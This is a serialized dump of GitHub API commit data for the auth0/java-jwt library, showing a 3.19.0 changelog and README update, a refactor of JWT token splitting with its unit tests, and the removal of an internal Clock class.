events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujC  }(j^  
jimmyjamesj`  J7 j7  MDQ6VXNlcjI3NjIyNQ==jb  2https://avatars.githubusercontent.com/u/276225?v=4jd  h3jM  'https://api.github.com/users/jimmyjamesjY  https://github.com/jimmyjamesjg  1https://api.github.com/users/jimmyjames/followersji  >https://api.github.com/users/jimmyjames/following{/other_user}jk  7https://api.github.com/users/jimmyjames/gists{/gist_id}jm  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jo  5https://api.github.com/users/jimmyjames/subscriptionsjq  ,https://api.github.com/users/jimmyjames/orgsjs  -https://api.github.com/users/jimmyjames/reposju  8https://api.github.com/users/jimmyjames/events{/privacy}jw  7https://api.github.com/users/jimmyjames/received_eventsjy  Userj{  uparents]}(j5  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7jM  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7jY  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7uastats}(totalK
	additionsK	deletionsKufiles](}(j5  (5069eab1f02e9ff5a3c34c0e9646d0b5a30a39f5filenameCHANGELOG.mdstatusmodifiedj  K	j  K changesK	blob_url\https://github.com/auth0/java-jwt/blob/8b46c3854e346650d5c8272ba972a7e4c324fbc1/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/8b46c3854e346650d5c8272ba972a7e4c324fbc1/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=8b46c3854e346650d5c8272ba972a7e4c324fbc1patchX|  @@ -1,5 +1,14 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(j5  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/8b46c3854e346650d5c8272ba972a7e4c324fbc1/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/8b46c3854e346650d5c8272ba972a7e4c324fbc1/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=8b46c3854e346650d5c8272ba972a7e4c324fbc1j  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsueu(db34c4c97955b72c9ccffacada17408755a8fc43}(sha(db34c4c97955b72c9ccffacada17408755a8fc43node_idEC_kwDOAQtL0doAKGRiMzRjNGM5Nzk1NWI3MmM5Y2NmZmFjYWRhMTc0MDg3NTVhOGZjNDMcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-14T15:36:18Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-16T11:34:42ZumessageRelease 3.19.0tree}(j  (f04bb4409cddb4a24ce20af53ce9555226ef008durl^https://api.github.com/repos/auth0/java-jwt/git/trees/f04bb4409cddb4a24ce20af53ce9555226ef008dujʣ  `https://api.github.com/repos/auth0/java-jwt/git/commits/db34c4c97955b72c9ccffacada17408755a8fc43
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujʣ  \https://api.github.com/repos/auth0/java-jwt/commits/db34c4c97955b72c9ccffacada17408755a8fc43html_urlQhttps://github.com/auth0/java-jwt/commit/db34c4c97955b72c9ccffacada17408755a8fc43comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/db34c4c97955b72c9ccffacada17408755a8fc43/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jʣ  'https://api.github.com/users/jimmyjamesj֣  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(jۣ  	poovamrajjݣ  J j  MDQ6VXNlcjE1OTEwNDI1jߣ  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3jʣ  &https://api.github.com/users/poovamrajj֣  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j  (c826db8bbc317d65a95ba42fc13d8a929246ebb9jʣ  \https://api.github.com/repos/auth0/java-jwt/commits/c826db8bbc317d65a95ba42fc13d8a929246ebb9j֣  Qhttps://github.com/auth0/java-jwt/commit/c826db8bbc317d65a95ba42fc13d8a929246ebb9uastats}(totalK	additionsK	deletionsKufiles](}(j  (84686b4b01b8efa5fc01dde25c8b63e9605ce727filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/db34c4c97955b72c9ccffacada17408755a8fc43/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/db34c4c97955b72c9ccffacada17408755a8fc43/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=db34c4c97955b72c9ccffacada17408755a8fc43patchX  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
+
+**Deprecated**
+- Deprecate ES256K Algorithm [\#543](https://github.com/auth0/java-jwt/pull/543) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- fix typos in JWTVerifier#verify docstring [\#526](https://github.com/auth0/java-jwt/pull/526) ([OdunlamiZO](https://github.com/OdunlamiZO))
+
+**Security**
+- Bump `jackson-databind` dependency to 2.13.2 [\#542](https://github.com/auth0/java-jwt/pull/542) ([evansims](https://github.com/evansims))
+
 ## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
 u}(j  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/db34c4c97955b72c9ccffacada17408755a8fc43/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/db34c4c97955b72c9ccffacada17408755a8fc43/README.mdj!  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=db34c4c97955b72c9ccffacada17408755a8fc43j#  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsueu(1e9072d5b0f762f8fe83c6674cd9a3a77bc83255}(sha(1e9072d5b0f762f8fe83c6674cd9a3a77bc83255node_idEC_kwDOAQtL0doAKDFlOTA3MmQ1YjBmNzYyZjhmZTgzYzY2NzRjZDlhM2E3N2JjODMyNTUcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-15T01:34:26Zu	committer}(j7  GitHubj9  noreply@github.comj;  2022-10-15T01:34:26ZumessageX  Optimise TokenUtils parsing (#611)

* Optimise parsing of token for well-defined JWT format

* Update error message in test to match new code

* Fixing checkstyle issues

* Added missing test case for no parts

* Return new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>
Co-authored-by: Jim Anderson <jimranderson@gmail.com>tree}(j/  (7ee620028588dc43a2b116fd2e7ed96fbffe3316url^https://api.github.com/repos/auth0/java-jwt/git/trees/7ee620028588dc43a2b116fd2e7ed96fbffe3316ujG  `https://api.github.com/repos/auth0/java-jwt/git/commits/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjSg4iCRBK7hj4Ov3rIwAAB3AIAHOySBLvf1qT/kO9zOkIs30H
W06ykrMWmSTbuidz9+IROVEfDqUYBZnXSj3y9WbGj2ZOCnZHp7fovHNX92CNFG4E
PxsU2sEYTRmUr2v2OPtjTsWRnLk0ljaJNseBANZuTtSYJsLqfwhlCZB0UOXl40oF
rtbv67jxgpFL61PYWkSppjt7ASGz9S48yUw0SFk0hy8+y3rqS30xTyOPL1GadUNy
cXEQdFD0JvlGpOpWZQLebXv1LEAMN1TFN/mTLshLSK8dNiiZX2ECk9Zd3N3JASpC
uMpxZtvmQFQYGxMG03DKcImbyCOJ8fr3m1NLxiUQJKS0q35p+q1PZbiJjPc4/+4=
=YSJE
-----END PGP SIGNATURE-----
payloadX  tree 7ee620028588dc43a2b116fd2e7ed96fbffe3316
parent 83eeb3b4404decec7ccfcc5d39df27361e9a41e8
author noetro <noel.trout@avinode.com> 1665797666 +0200
committer GitHub <noreply@github.com> 1665797666 -0500

Optimise TokenUtils parsing (#611)

* Optimise parsing of token for well-defined JWT format

* Update error message in test to match new code

* Fixing checkstyle issues

* Added missing test case for no parts

* Return new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.

Co-authored-by: Jim Anderson <jim.anderson@auth0.com>
Co-authored-by: Jim Anderson <jimranderson@gmail.com>uujG  \https://api.github.com/repos/auth0/java-jwt/commits/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255html_urlQhttps://github.com/auth0/java-jwt/commit/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/commentsj5  }(loginnoetroidJOP&j1  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3jG  #https://api.github.com/users/noetrojU  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj=  }(jZ  web-flowj\  J/j1  MDQ6VXNlcjE5ODY0NDQ3j^  4https://avatars.githubusercontent.com/u/19864447?v=4j`  h3jG  %https://api.github.com/users/web-flowjU  https://github.com/web-flowjc  /https://api.github.com/users/web-flow/followersje  <https://api.github.com/users/web-flow/following{/other_user}jg  5https://api.github.com/users/web-flow/gists{/gist_id}ji  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jk  3https://api.github.com/users/web-flow/subscriptionsjm  *https://api.github.com/users/web-flow/orgsjo  +https://api.github.com/users/web-flow/reposjq  6https://api.github.com/users/web-flow/events{/privacy}js  5https://api.github.com/users/web-flow/received_eventsju  Userjw  uparents]}(j/  (83eeb3b4404decec7ccfcc5d39df27361e9a41e8jG  \https://api.github.com/repos/auth0/java-jwt/commits/83eeb3b4404decec7ccfcc5d39df27361e9a41e8jU  Qhttps://github.com/auth0/java-jwt/commit/83eeb3b4404decec7ccfcc5d39df27361e9a41e8uastats}(totalKH	additionsK=	deletionsKufiles](}(j/  (e62b9832c8eb3b33648ac87431f7f9ac95f2e67bfilename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj  Kj  KchangesK blob_urlhttps://github.com/auth0/java-jwt/blob/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=1e9072d5b0f762f8fe83c6674cd9a3a77bc83255patchXD  @@ -15,15 +15,33 @@ static String[] splitToken(String token) throws JWTDecodeException {
         if (token == null) {
             throw new JWTDecodeException("The token is null.");
         }
-        String[] parts = token.split("\\.");
-        if (parts.length == 2 && token.endsWith(".")) {
-            //Tokens with alg='none' have empty String as Signature.
-            parts = new String[]{parts[0], parts[1], ""};
+
+        char delimiter = '.';
+
+        int firstPeriodIndex = token.indexOf(delimiter);
+        if (firstPeriodIndex == -1) {
+            throw wrongNumberOfParts(0);
         }
-        if (parts.length != 3) {
-            throw new JWTDecodeException(
-                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+
+        int secondPeriodIndex = token.indexOf(delimiter, firstPeriodIndex + 1);
+        if (secondPeriodIndex == -1) {
+            throw wrongNumberOfParts(2);
+        }
+
+        // too many ?
+        if (token.indexOf(delimiter, secondPeriodIndex + 1) != -1) {
+            throw wrongNumberOfParts("> 3");
         }
+
+        String[] parts = new String[3];
+        parts[0] = token.substring(0, firstPeriodIndex);
+        parts[1] = token.substring(firstPeriodIndex + 1, secondPeriodIndex);
+        parts[2] = token.substring(secondPeriodIndex + 1);
+
         return parts;
     }
+
+    private static JWTDecodeException wrongNumberOfParts(Object partCount) {
+        return new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", partCount));
+    }
 }u}(j/  (cc427d60110bde81ff25eb3c4d870887b5135a6cj  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  X  @@ -50,7 +50,7 @@ public void shouldThrowIfLessThan3Parts() {
     @Test
     public void shouldThrowIfMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
-        exception.expectMessage("The token was expected to have 3 parts, but got 4.");
+        exception.expectMessage("The token was expected to have 3 parts, but got > 3.");
         JWT.decode("this.has.four.parts");
     }
 u}(j/  (01806ddcdd53b5201ba6c67432aab08a60a59440j  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj  modifiedj  K#j  Kj  K&j  https://github.com/auth0/java-jwt/blob/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/1e9072d5b0f762f8fe83c6674cd9a3a77bc83255/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=1e9072d5b0f762f8fe83c6674cd9a3a77bc83255j  X
  @@ -13,6 +13,30 @@ public class TokenUtilsTest {
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
+    @Test
+    public void toleratesEmptyFirstPart() {
+        String token = ".eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
+        String[] parts = TokenUtils.splitToken(token);
+
+        assertThat(parts, is(notNullValue()));
+        assertThat(parts, is(arrayWithSize(3)));
+        assertThat(parts[0], is(""));
+        assertThat(parts[1], is("eyJpc3MiOiJhdXRoMCJ9"));
+        assertThat(parts[2], is("W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc"));
+    }
+
+    @Test
+    public void toleratesEmptySecondPart() {
+        String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0..W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
+        String[] parts = TokenUtils.splitToken(token);
+
+        assertThat(parts, is(notNullValue()));
+        assertThat(parts, is(arrayWithSize(3)));
+        assertThat(parts[0], is("eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"));
+        assertThat(parts[1], is(""));
+        assertThat(parts[2], is("W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc"));
+    }
+
     @Test
     public void shouldSplitToken() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
@@ -34,19 +58,27 @@ public void shouldSplitTokenWithEmptySignature() {
         assertThat(parts, is(arrayWithSize(3)));
         assertThat(parts[0], is("eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"));
         assertThat(parts[1], is("eyJpc3MiOiJhdXRoMCJ9"));
-        assertThat(parts[2], is(isEmptyString()));
+        assertThat(parts[2], is(emptyString()));
     }
 
     @Test
     public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
-        exception.expectMessage("The token was expected to have 3 parts, but got 4.");
+        exception.expectMessage("The token was expected to have 3 parts, but got > 3.");
         String token = "this.has.four.parts";
         TokenUtils.splitToken(token);
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
+    public void shouldThrowOnSplitTokenWithNoParts() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token was expected to have 3 parts, but got 0.");
+        String token = "notajwt";
+        TokenUtils.splitToken(token);
+    }
+
+    @Test
+    public void shouldThrowOnSplitTokenWith2Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";ueu(9245f49fea7bec9fec39e5a21af8a230987c2704}(sha(9245f49fea7bec9fec39e5a21af8a230987c2704node_idEC_kwDOAQtL0doAKDkyNDVmNDlmZWE3YmVjOWZlYzM5ZTVhMjFhZjhhMjMwOTg3YzI3MDQcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-03T21:11:46Zu	committer}(j  GitHubj  noreply@github.comj¤  2022-03-03T21:11:46Zumessage'[SDK-3160] Remove internal Clock (#533)tree}(j  (aba68df797aeeae1ffd998eb75c28a97ac40f110url^https://api.github.com/repos/auth0/java-jwt/git/trees/aba68df797aeeae1ffd998eb75c28a97ac40f110ujΤ  `https://api.github.com/repos/auth0/java-jwt/git/commits/9245f49fea7bec9fec39e5a21af8a230987c2704
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiIS8SCRBK7hj4Ov3rIwAAAYcIACwobDdwDEJIGZgJGTF1+pj3
4Qzt1+lKTPabFU7vWHynOPi0rJLrCFIdzD3eIhHb5ZnhY5D1N6QPrL+8ptGviNGg
z7dhSZk+x5zwO7aY9HOfvIQdIyJJVwwGea3LaC5y+4pc1FXTcF0R7trF9JByGLA1
y4qlBRsRUDB21dUED2NX71B8WMGTqibSD7VLAZ8Yr/3EavMTqiQnAAY5rhrk3p08
l2gTX/cRinpqNvm0AGgxqtCdb7/TQWwiNgO9fPZDOPNIPXLHCYWy0RwcF06JXYIj
ZqAwJmVSq6Smho7cc1+lZOYnT5KewXxO0yKhXAxUHjohUKeobe18zKP9Gdta1P8=
=O6f/
-----END PGP SIGNATURE-----
payloadtree aba68df797aeeae1ffd998eb75c28a97ac40f110
parent 1697ccb886268a0038514a97b0430d2c07538144
author Jim Anderson <jim.anderson@auth0.com> 1646341906 -0600
committer GitHub <noreply@github.com> 1646341906 -0600

[SDK-3160] Remove internal Clock (#533)

uujΤ  \https://api.github.com/repos/auth0/java-jwt/commits/9245f49fea7bec9fec39e5a21af8a230987c2704html_urlQhttps://github.com/auth0/java-jwt/commit/9245f49fea7bec9fec39e5a21af8a230987c2704comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9245f49fea7bec9fec39e5a21af8a230987c2704/comments0      j  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jΤ  'https://api.github.com/users/jimmyjamesjܤ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujĤ  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jΤ  %https://api.github.com/users/web-flowjܤ  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (1697ccb886268a0038514a97b0430d2c07538144jΤ  \https://api.github.com/repos/auth0/java-jwt/commits/1697ccb886268a0038514a97b0430d2c07538144jܤ  Qhttps://github.com/auth0/java-jwt/commit/1697ccb886268a0038514a97b0430d2c07538144uastats}(totalK=	additionsK 	deletionsK=ufiles](}(j  (29ed3c1e79e06891aef59fe7fbd039bdf2d431b4filename.lib/src/main/java/com/auth0/jwt/ClockImpl.javastatusremovedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.java?ref=1697ccb886268a0038514a97b0430d2c07538144patchX  @@ -1,24 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-
-import java.util.Date;
-
-/**
- * Default Clock implementation used for verification.
- *
- * @see Clock
- * @see JWTVerifier
- * <p>
- * This class is thread-safe.
- */
-final class ClockImpl implements Clock {
-
-    ClockImpl() {
-    }
-
-    @Override
-    public Date getToday() {
-        return new Date();
-    }
-}u}(j  (7dd9c43b0a94e10cd2846bb8803f11e0ff91c2f0j  5lib/src/main/java/com/auth0/jwt/interfaces/Clock.javaj   removedj  K j  Kj"  Kj#  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javaj%  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javaj'  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.java?ref=1697ccb886268a0038514a97b0430d2c07538144j)  XM  @@ -1,16 +0,0 @@
-package com.auth0.jwt.interfaces;
-
-import java.util.Date;
-
-/**
- * The Clock class is used to wrap calls to Date class.
- */
-public interface Clock {
-
-    /**
-     * Returns a new Date representing Today's time.
-     *
-     * @return a new Date representing Today's time.
-     */
-    Date getToday();
-}u}(j  (0feb7c40e5dc5ab1adb3663a089bc877db285db0j  2lib/src/test/java/com/auth0/jwt/ClockImplTest.javaj   removedj  K j  Kj"  Kj#  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj%  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj'  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j)  X+  @@ -1,21 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-import org.junit.Test;
-
-import java.util.Date;
-
-import static org.hamcrest.Matchers.is;
-import static org.hamcrest.Matchers.notNullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-public class ClockImplTest {
-
-    @Test
-    public void shouldGetToday() throws Exception{
-        Clock clock = new ClockImpl();
-        Date clockToday = clock.getToday();
-        assertThat(clockToday, is(notNullValue()));
-    }
-
-}
\ No newline at end of fileueu(f70c51a86b8dbe6519c5463ad74161d6c1ee8a8b}(sha(f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bnode_idEC_kwDOAQtL0doAKGY3MGM1MWE4NmI4ZGJlNjUxOWM1NDYzYWQ3NDE2MWQ2YzFlZThhOGIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-05T11:24:59Zu	committer}(jE  
Poovamraj T TjG  poovamraj@gmail.comjI  2022-04-05T11:24:59Zumessage,Replace expected exception with assertThrowstree}(j=  (5ad822624c6229ddade836f1de7ad49ece301d87url^https://api.github.com/repos/auth0/java-jwt/git/trees/5ad822624c6229ddade836f1de7ad49ece301d87ujU  `https://api.github.com/repos/auth0/java-jwt/git/commits/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujU  \https://api.github.com/repos/auth0/java-jwt/commits/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bhtml_urlQhttps://github.com/auth0/java-jwt/commit/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f70c51a86b8dbe6519c5463ad74161d6c1ee8a8b/commentsjC  }(login	poovamrajidJ j?  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jU  &https://api.github.com/users/poovamrajja  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
